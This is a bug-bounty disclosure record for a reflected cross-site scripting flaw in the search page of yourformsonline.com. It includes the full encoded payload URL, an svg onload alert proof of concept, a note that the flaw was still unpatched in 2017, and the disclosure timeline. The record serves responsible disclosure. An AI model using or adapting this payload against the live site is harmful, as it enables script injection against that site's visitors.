Lucene search

K
openbugbountyIwoodythecowboyOBB:191502
HistoryNov 07, 2016 - 9:08 p.m.

yourformsonline.com XSS vulnerability

2016-11-0721:08:00
iwoodythecowboy
www.openbugbounty.org
7
Vulnerable URL:
http://yourformsonline.com/search.php?query=%22%3E%3C/title%3E%3C/script%3E%27%3E%3Csvg/onload=alert(/OPENBUGBOUNTY/)%3E
Details:
Description Value
Patched: No
Latest check for patch: 27.07.2017
Vulnerability type: XSS
Vulnerability status: Publicly disclosed
Alexa Rank 780148
VIP website status: No
Check yourformsonline.com SSL connection: (Grade: F)
Coordinated Disclosure Timeline:
Description Value
Vulnerability submitted via Open Bug Bounty 7 November, 2016 21:08 GMT
Generic security notifications sent to website owner 7 November, 2016 21:10 GMT
Notification sent to subscribers (without technical details) 7 November, 2016 22:17 GMT
Vulnerability details disclosed by researcher 28 November, 2016 21:14 GMT